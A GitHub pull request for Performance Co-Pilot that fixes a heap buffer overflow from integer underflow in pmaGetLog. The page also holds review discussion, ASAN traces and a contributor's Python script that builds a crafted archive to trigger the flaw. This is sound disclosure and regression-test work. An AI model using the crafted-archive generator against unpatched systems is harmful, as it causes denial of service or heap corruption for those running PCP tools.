Skip to content

libpcp_archive: fix heap buffer overflow in pmaGetLog via integer underflow - #2661

Merged
kmcdonell merged 1 commit into
performancecopilot:mainfrom
lilu5458:fix/pmagetlog-heap-overflow-v2
Aug 10, 2026
Merged

libpcp_archive: fix heap buffer overflow in pmaGetLog via integer underflow#2661
kmcdonell merged 1 commit into
performancecopilot:mainfrom
lilu5458:fix/pmagetlog-heap-overflow-v2

Conversation

@lilu5458

Copy link
Copy Markdown
Contributor

Summary

Fix a heap buffer overflow in pmaGetLog() (src/libpcp_archive/src/io.c) caused by an integer underflow when parsing a malicious PCP archive's record header.

Vulnerability

pmaGetLog() reads a 4-byte network-order head field, then computes the body length as:

ntohl(head) - sizeof(head)

and passes that value to both malloc(ntohl(head)) and __pmFread(&lbuf[1], 1, ntohl(head) - sizeof(head), f).

ntohl(head) returns uint32_t/unsigned int, so when a crafted archive supplies head with ntohl(head) < sizeof(head) (for example head == htonl(1)), the subtraction wraps to a huge value (e.g. 0xfffffffd on a 64-bit system after promotion to size_t). malloc(1) returns a small allocation, then __pmFread writes up to ~4 GiB past the end of the buffer — a classic heap buffer overflow.

The same code pattern in __pmLogRead() (src/libpcp3/src/logutil.c) already guards against this with an explicit rlen < 0 check after computing rlen = head - 2 * sizeof(head). pmaGetLog() was missing this guard.

Trigger

pmaGetLog() is reachable from pmlogextract (via nextmeta()) and pmlogrewrite when processing a crafted archive. A malformed TYPE_DESC metadata record with len == 1 passes the h.len <= 0 check in __pmLogLoadMeta() (since 1 > 0), then triggers the underflow when pmaGetLog() re-reads it.

Fix

Add an explicit validation before the malloc/__pmFread calls:

if (ntohl(head) < 2 * sizeof(head)) {
    if (pmDebugOptions.log)
        fprintf(stderr, "Error: pmaGetLog: header length %d too small\n",
            (int)ntohl(head));
    __pmFseek(f, offset, SEEK_SET);
    return PM_ERR_LOGREC;
}

2 * sizeof(head) is the minimum sane record size (head field + tail field, 8 bytes total). On failure the file is rewound and PM_ERR_LOGREC is returned, matching the existing safe behavior in __pmLogRead().

Validation

  • PoC: a crafted PCP archive with a TYPE_DESC record where len == 1 (passes __pmLogLoadMeta's h.len > 0 check, then underflows in pmaGetLog).
  • Before fix: heap overflow confirmed via a guard-page PoC harness (mmap + mprotect) — fread writes 40 bytes past a 1-byte allocation, hitting the guard page and raising SIGSEGV (exit 139).
  • After fix: pmlogextract on the same crafted archive returns PM_ERR_LOGREC cleanly (exit 1) with no memory error.

Scope

1 file changed, 14 insertions. No behavioral change for well-formed archives (the smallest valid record is 2 * sizeof(head) == 8 bytes).

@coderabbitai

coderabbitai Bot commented Jul 23, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Repository YAML (base), Repository UI (inherited), Organization UI (inherited)

Review profile: CHILL

Plan: Pro Plus

Run ID: e767516f-1fb8-417b-991d-2f6470952cf6

📥 Commits

Reviewing files that changed from the base of the PR and between f7df271 and 345fc81.

📒 Files selected for processing (1)
  • src/libpcp_archive/src/io.c
🚧 Files skipped from review as they are similar to previous changes (1)
  • src/libpcp_archive/src/io.c

📝 Walkthrough

Summary by CodeRabbit

  • Bug Fixes
    • Added validation for archive record headers to reject malformed or undersized records.
    • Prevented invalid archive data from triggering unsafe reads or allocations.
    • Improved error handling when corrupted log records are encountered.

Walkthrough

pmaGetLog now validates archive record lengths before allocation and payload reads. It rejects records shorter than 2 * sizeof(head) and returns PM_ERR_LOGREC.

Changes

Archive header validation

Layer / File(s) Summary
Pre-allocation header-length guard
src/libpcp_archive/src/io.c
pmaGetLog rejects decoded record lengths below 2 * sizeof(head), optionally logs the malformed record, and returns PM_ERR_LOGREC before allocation or payload reads.

Possibly related PRs

Poem

A rabbit checks the record gate,
And finds a header far too small to wait.
“Reject this length,” the rabbit cries,
Before bad arithmetic multiplies.
PM_ERR_LOGREC marks the trail,
While valid records hop the rail.

🚥 Pre-merge checks | ✅ 4
✅ Passed checks (4 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly identifies the affected component and the heap buffer overflow caused by integer underflow.
Description check ✅ Passed The description directly explains the vulnerability, trigger, fix, validation, and scope of the changes.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
src/libpcp_archive/src/io.c (1)

90-103: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick win

Add an automated regression test for undersized headers.

Cover lengths below 2 * sizeof(head), assert PM_ERR_LOGREC, and verify that the file position is restored to the saved offset. Also cover the exact minimum-length boundary to prevent regressions in this security fix.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/libpcp_archive/src/io.c` around lines 90 - 103, Add an automated
regression test for pmaGetLog covering header lengths below 2 * sizeof(head),
asserting PM_ERR_LOGREC and confirming the file position returns to the saved
offset. Include a separate case at exactly 2 * sizeof(head) to verify the
minimum-length boundary remains accepted.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@src/libpcp_archive/src/io.c`:
- Around line 90-103: Add an automated regression test for pmaGetLog covering
header lengths below 2 * sizeof(head), asserting PM_ERR_LOGREC and confirming
the file position returns to the saved offset. Include a separate case at
exactly 2 * sizeof(head) to verify the minimum-length boundary remains accepted.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository YAML (base), Repository UI (inherited), Organization UI (inherited)

Review profile: CHILL

Plan: Pro Plus

Run ID: 46328781-18b5-4406-b0f8-3d6b4751bba0

📥 Commits

Reviewing files that changed from the base of the PR and between 5a21b21 and f7df271.

📒 Files selected for processing (1)
  • src/libpcp_archive/src/io.c

@kmcdonell

Copy link
Copy Markdown
Member

@lilu5458 Thanks for this. Any chance we could get your crafted archive and reproducer script so we can build a QA test to guard against regression?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think we need the __pmFseek() here on the PM_ERR_LOGREC return path ... if the archive record is really bad, returning PM_ERR_LOGREC is almost certain to lead to the caller giving up, and even if they do not we don't want to reprocess this bad record again (that's potentially an infinite loop) so moving along in the archive is likely to find another case of badness if we're called again.

@lilu5458
lilu5458 force-pushed the fix/pmagetlog-heap-overflow-v2 branch from f7df271 to 345fc81 Compare August 3, 2026 08:04
@lilu5458

lilu5458 commented Aug 3, 2026

Copy link
Copy Markdown
Contributor Author

@kmcdonell thanks for the review.

__pmFseek() on the PM_ERR_LOGREC path: removed as suggested — on a bad record we now just return PM_ERR_LOGREC and leave the file position advanced past it, so the caller won't reprocess the same bad record (no infinite-loop risk). Force-pushed as a single amended commit (345fc81), diff is now +13/-0.

Reproducer: here's the self-contained generator for the crafted archive. It writes malicious.{meta,0,index}; trigger with pmlogextract malicious out. Before the fix pmlogextract segfaults (SIGSEGV, exit 139); after the fix it returns PM_ERR_LOGREC cleanly (exit 1). Hope it's useful for a QA test.

#!/usr/bin/env python3
"""
PoC generator for CVE candidate: heap buffer overflow in pmaGetLog (libpcp_archive/src/io.c)

Vulnerability:
  In pmaGetLog() at src/libpcp_archive/src/io.c:90, the record header `head` is read
  from an untrusted archive file and used directly in:
    malloc(ntohl(head))
    __pmFread(&lbuf[1], 1, ntohl(head) - sizeof(head), f)
  Without validation that ntohl(head) >= sizeof(head). When head < 4 (sizeof(head)),
  the subtraction `ntohl(head) - sizeof(head)` underflows (unsigned arithmetic),
  producing a huge size_t. This causes __pmFread to attempt reading ~4GB into a
  small heap buffer, causing a heap buffer overflow.

Attack vector:
  A user runs pmlogextract (or pmlogrewrite) on a malicious PCP archive file.
  The .meta file contains a valid label followed by a malformed record with
  head value < 4 (e.g., 0x00000000).

Impact:
  - Denial of service (crash via segfault)
  - Potential remote code execution via heap corruption

Usage:
  python3 poc_gen.py <output_dir>
  Then: pmlogextract <output_dir>/malicious <output_dir>/out
"""

import os
import struct
import sys

# PCP archive constants (from src/include/pcp/pmapi.h)
PM_LOG_MAGIC = 0x50052600
PM_LOG_VERS02 = 0x2
PM_LOG_VOL_TI = -2      # temporal index volume
PM_LOG_VOL_META = -1    # metadata volume
PM_LOG_VOL_CURRENT = 0  # data volume

PM_LOG_MAXHOSTLEN = 64   # V2 host name max
PM_TZ_MAXLEN = 40        # V2 timezone max


def build_v2_label(vol):
    """Build a valid V2 label record (header + label + trailer)."""
    # __pmLabel_v2 struct (124 bytes):
    #   magic:        __uint32_t  (4)
    #   pid:          __int32_t   (4)
    #   start_sec:    __int32_t   (4)
    #   start_usec:   __int32_t   (4)
    #   vol:          __int32_t   (4)
    #   hostname:     char[64]    (64)
    #   timezone:     char[40]    (40)
    label_body = struct.pack('>IIIIi',
        PM_LOG_MAGIC | PM_LOG_VERS02,  # magic
        1234,                          # pid
        1700000000,                    # start_sec
        0,                             # start_usec
        vol,                           # vol
    )
    label_body += b'pocthost\0'.ljust(PM_LOG_MAXHOSTLEN, b'\0')
    label_body += b'UTC\0'.ljust(PM_TZ_MAXLEN, b'\0')

    # header/trailer = sizeof(__pmLabel_v2) + 2*sizeof(__int32_t) = 124 + 8 = 132
    header_value = len(label_body) + 2 * 4  # 132
    header = struct.pack('>I', header_value)
    trailer = struct.pack('>I', header_value)
    return header + label_body + trailer


def build_valid_desc_record():
    """
    Build a TYPE_DESC metadata record with len=1 that:
    1. Passes __pmLogLoadMeta's h.len > 0 check (len=1 > 0)
    2. Passes the trailer check (trailer=1 == len=1)
    3. Triggers integer underflow in pmaGetLog: ntohl(1) - sizeof(head) = 1 - 4 = underflow

    __pmLogLoadMeta reads the full record (type + pmDesc + names + trailer = 36 bytes
    of data after the 8-byte header), consuming 44 bytes total. It checks trailer == len,
    which passes because both are 1.

    pmaGetLog reads head=1, malloc(1) -> ~16 byte buffer, then tries to read
    ntohl(1)-4 = 0xFFFFFFFFFFFFFFFC bytes. The file has 40 bytes remaining,
    so __pmFread writes 40 bytes into the ~16 byte buffer -> heap overflow!
    free(lbuf) then crashes due to heap corruption.
    """
    TYPE_DESC = 1
    PM_TYPE_32 = 0
    PM_INDOM_NULL = 0xffffffff
    PM_SEM_INSTANT = 1
    name = b'test'
    fake_len = 1  # Key: len=1 passes h.len > 0 but triggers underflow in pmaGetLog

    # Header: len=1, type=TYPE_DESC
    header = struct.pack('>II', fake_len, TYPE_DESC)

    # pmDesc struct: pmid(I) + type(i) + indom(I) + sem(i) + units(I) = 20 bytes
    pm_desc = struct.pack('>IiIiI',
        0x00000001,     # pmid
        PM_TYPE_32,     # type
        PM_INDOM_NULL,  # indom (unsigned, 0xffffffff)
        PM_SEM_INSTANT, # sem
        0,              # units (nullunits)
    )

    numnames = struct.pack('>I', 1)
    namelen = struct.pack('>I', len(name))

    # Trailer must equal len (1) to pass __pmLogLoadMeta's check
    trailer = struct.pack('>I', fake_len)

    return header + pm_desc + numnames + namelen + name + trailer


def build_minimal_data_record():
    """
    Build a minimal valid "mark" data record to make the .0 file larger than
    the label size, bypassing the PM_ERR_NODATA check in __pmLogChkLabel.

    V2 data record format: [head(4)][timestamp(8)][numpmid(4)][tail(4)]
    A mark record has numpmid=0. Minimum length = 20 bytes (paranoidCheck min).
    """
    # head = 4 + 8 + 4 + 4 = 20
    head_value = 20
    head = struct.pack('>I', head_value)
    # V2 timestamp: sec(4) + usec(4)
    timestamp = struct.pack('>II', 1700000000, 0)
    # numpmid = 0 (mark record)
    numpmid = struct.pack('>I', 0)
    tail = struct.pack('>I', head_value)
    return head + timestamp + numpmid + tail


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <output_dir>", file=sys.stderr)
        sys.exit(1)

    outdir = sys.argv[1]
    os.makedirs(outdir, exist_ok=True)

    base = os.path.join(outdir, 'malicious')

    # .meta file: valid label + crafted TYPE_DESC record with len=1
    # The record passes __pmLogLoadMeta (len>0, trailer==len) but triggers
    # integer underflow in pmaGetLog (ntohl(1)-4 underflows to huge size_t).
    with open(base + '.meta', 'wb') as f:
        f.write(build_v2_label(PM_LOG_VOL_META))
        f.write(build_valid_desc_record())
    print(f"[+] Created {base}.meta (label + crafted DESC with len=1)")

    # .0 file: label + minimal data record (to bypass PM_ERR_NODATA check)
    # __pmLogChkLabel returns PM_ERR_NODATA if file size == label size (132 bytes)
    # Adding a minimal record makes it 140 bytes, bypassing the check
    with open(base + '.0', 'wb') as f:
        f.write(build_v2_label(PM_LOG_VOL_CURRENT))
        f.write(build_minimal_data_record())
    print(f"[+] Created {base}.0 (label + minimal data record)")

    # .index file: label + padding (to bypass PM_ERR_NODATA check)
    with open(base + '.index', 'wb') as f:
        f.write(build_v2_label(PM_LOG_VOL_TI))
        f.write(build_minimal_data_record())
    print(f"[+] Created {base}.index (label + minimal record)")

    print(f"\n[*] PoC archive ready at: {base}")
    print(f"[*] Trigger with: pmlogextract {base} {outdir}/out")
    print(f"[*] Expected: segfault / heap buffer overflow in pmaGetLog")


if __name__ == '__main__':
    main()

@kmcdonell

Copy link
Copy Markdown
Member

@lilu5458 hmm ... seems we have a bit of a disconnect here.
I've extracted your python code, run it to create the archive, but pmlogextract does not segv.

$ pmlogextract ./malicious ./out
pmlogextract: Error: pmaGetLog[meta ./malicious]: Corrupted record in a PCP archive
pmlogextract: Error occurred at byte offset 176 into a file of 176 bytes.
The last record, and the remainder of this file will not be extracted.
Archive "./out" not created.

This was on x64_86 Ubuntu 24.04.

Can you share the environment in which you see the segv without the libpcp_archive code change?

Also the output from ls -l malicious.*; pmlogdump -a malicious would help confirm we're testing the same thing. For me, I get ...

$ ls -l malicious.*; pmlogdump -a malicious
-rw-r--r-- 1 kenj kenj 152 Aug  4 14:09 malicious.0
-rw-r--r-- 1 kenj kenj 152 Aug  4 14:09 malicious.index
-rw-r--r-- 1 kenj kenj 176 Aug  4 14:09 malicious.meta
Log Label (Log Format Version 2)
Performance metrics from host pocthost
    commencing Wed Nov 15 09:13:20.000000 2023
    ending     Wed Nov 15 09:13:20.000000 2023
Archive timezone: UTC
PID for pmlogger: 1234

Descriptions for Metrics in the Log ...
PMID: 0.0.1 (test)
    Data Type: 32-bit int  InDom: PM_INDOM_NULL 0xffffffff
    Semantics: counter  Units: none

Instance Domains in the Log ...

Temporal Index
		Log Vol    end(meta)     end(log)
10:00:20.-807049	      0            0           20
		Error: illegal timestamp value (20 sec, -807049216 nsec)
pmlogdump: pmFetch: Corrupted record in a PCP archive

…erflow

pmaGetLog() in src/libpcp_archive/src/io.c reads a 4-byte head, then computes
`ntohl(head) - sizeof(head)` as the number of bytes to read into the malloc'd
buffer of size `ntohl(head)`. When a malicious archive supplies head with
ntohl(head) < sizeof(head) (e.g. head == 1), the unsigned subtraction wraps to
a huge size_t, and the preceding `lbuf[0] = head` store already writes 4 bytes
into the malloc(1) buffer -- a heap buffer overflow.

Add an explicit check that ntohl(head) >= 2 * sizeof(head) (enough room for the
head field itself plus the trailing tail field) before the malloc/fread. On
failure, return PM_ERR_LOGREC without rewinding: if the record is bad the caller
is expected to give up, and leaving the file position advanced past it avoids
reprocessing the same bad record (a potential infinite loop).

Reproduction: a crafted PCP archive (head=1 TYPE_DESC record) fed to pmlogextract
triggers the overflow in the real pmaGetLog code path (pmlogextract main ->
nextmeta -> pmaGetLog). On vanilla glibc malloc the overwrite of the 1-byte
allocation is silent, so pmlogextract returns PM_ERR_LOGREC ("Corrupted record")
without crashing; building libpcp_archive + pmlogextract with -fsanitize=address
makes it deterministic:

  ==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
  WRITE of size 4 ... thread T0
      #0 pmaGetLog  src/libpcp_archive/src/io.c:98   (lbuf[0] = head)
      performancecopilot#1 nextmeta   src/pmlogextract/pmlogextract.c:1830
      performancecopilot#2 main       src/pmlogextract/pmlogextract.c:3141
  ... is located 0 bytes to the right of 1-byte region ...
  allocated by thread T0 here:
      #0 malloc
      performancecopilot#1 pmaGetLog  io.c:90                          (malloc(ntohl(head)))

After the fix, pmlogextract returns PM_ERR_LOGREC cleanly with no ASAN error.
@lilu5458
lilu5458 force-pushed the fix/pmagetlog-heap-overflow-v2 branch from 345fc81 to d8a620f Compare August 10, 2026 03:38
@lilu5458

Copy link
Copy Markdown
Contributor Author

@kmcdonell apologies for the confusion — you're right, and I owe you an honest explanation of the disconnect.

Why pmlogextract doesn't segv for you. The overflow is a 4-byte write (lbuf[0] = head at io.c:98) into a malloc(ntohl(head)) = malloc(1) buffer (io.c:90), followed by a huge __pmFread(&lbuf[1], 1, ntohl(head) - sizeof(head), f) whose size underflows. On vanilla glibc malloc the 4-byte overwrite of a 1-byte allocation is silent (no guard page, no crash) — pmaGetLog just returns PM_ERR_LOGREC, which is exactly the "Corrupted record" you see. So your result is fully consistent with the bug being present; the crash I originally referenced was from a guard-page harness that simulates the vulnerable path, not from pmlogextract itself. The commit message over-stated that as "pmlogextract segvs" — I've amended it (d8a620f) to describe the reproduction accurately. Sorry for the noise.

ASAN proof on the real pmlogextract path. I built libpcp_archive + pmlogextract + pmlogdump with -fsanitize=address -fno-omit-frame-pointer (no code change, base tree) and ran pmlogextract ./malicious ./out. ASAN fires on the real pmlogextract main -> nextmeta -> pmaGetLog path:

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xffffb3f00390
WRITE of size 4 at 0xffffb3f00390 thread T0
    #0 pmaGetLog  src/libpcp_archive/src/io.c:98        (lbuf[0] = head)
    #1 nextmeta   src/pmlogextract/pmlogextract.c:1830
    #2 main       src/pmlogextract/pmlogextract.c:3141
0xffffb3f00391 is located 0 bytes to the right of 1-byte region [0xffffb3f00390,0xffffb3f00391)
allocated by thread T0 here:
    #0 malloc
    #1 pmaGetLog  src/libpcp_archive/src/io.c:90        (malloc(ntohl(head)))

After the fix, the same pmlogextract ./malicious ./out returns PM_ERR_LOGREC cleanly with no ASAN error — same "Corrupted record" message you get, but now without the preceding heap overflow.

Confirming we're testing the same archive. ls -l and pmlogdump -a malicious match yours byte-for-byte (sizes 152/152/176; the timestamp printout differs only by local timezone):

$ ls -l malicious.*
-rw-r--r-- 1 root root 152 malicious.0
-rw-r--r-- 1 root root 152 malicious.index
-rw-r--r-- 1 root root 176 malicious.meta

$ pmlogdump -a malicious
Log Label (Log Format Version 2)
Performance metrics from host pocthost
    commencing Wed Nov 15 06:13:20.000000 2023
    ending     Wed Nov 15 06:13:20.000000 2023
Archive timezone: UTC
PID for pmlogger: 1234

Descriptions for Metrics in the Log ...
PMID: 0.0.1 (test)
    Data Type: 32-bit int  InDom: PM_INDOM_NULL 0xffffffff
    Semantics: counter  Units: none

Instance Domains in the Log ...

Temporal Index
                Log Vol    end(meta)     end(log)
08:00:20.-807049              0            0           20
                Error: illegal timestamp value (20 sec, -807049216 nsec)
pmlogdump: pmFetch: Corrupted record in a PCP archive

Environment: aarch64 Kylin Linux 6.6.0, gcc 12.3.1, pcp source at the base tree (no fix). The PoC generator is the self-contained poc_gen.py I shared earlier — it writes malicious.{meta,0,index}; pmlogextract malicious out triggers it.

The bug is real regardless of crash visibility: ntohl(head) - sizeof(head) underflows when head < 4, passing a huge size to __pmFread after an already-overflowing lbuf[0] = head store. The fix (reject ntohl(head) < 2 * sizeof(head) before the malloc) is minimal and the ASAN run confirms it eliminates the overflow. Happy to rework anything if you'd like the check phrased differently.

@kmcdonell kmcdonell left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@lilu5458 Thanks for explanation. I've added to my TODO list to convert you're reproducer into a QA test, but that's going to involve some work as it requires access to the source (won't run in GitHub CI/QA) and special builds for the library and commands.
This is all outside the scope of this fix, so I think we should merge this one and leave the QA for later.

@kmcdonell
kmcdonell merged commit 32cb4b1 into performancecopilot:main Aug 10, 2026
17 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants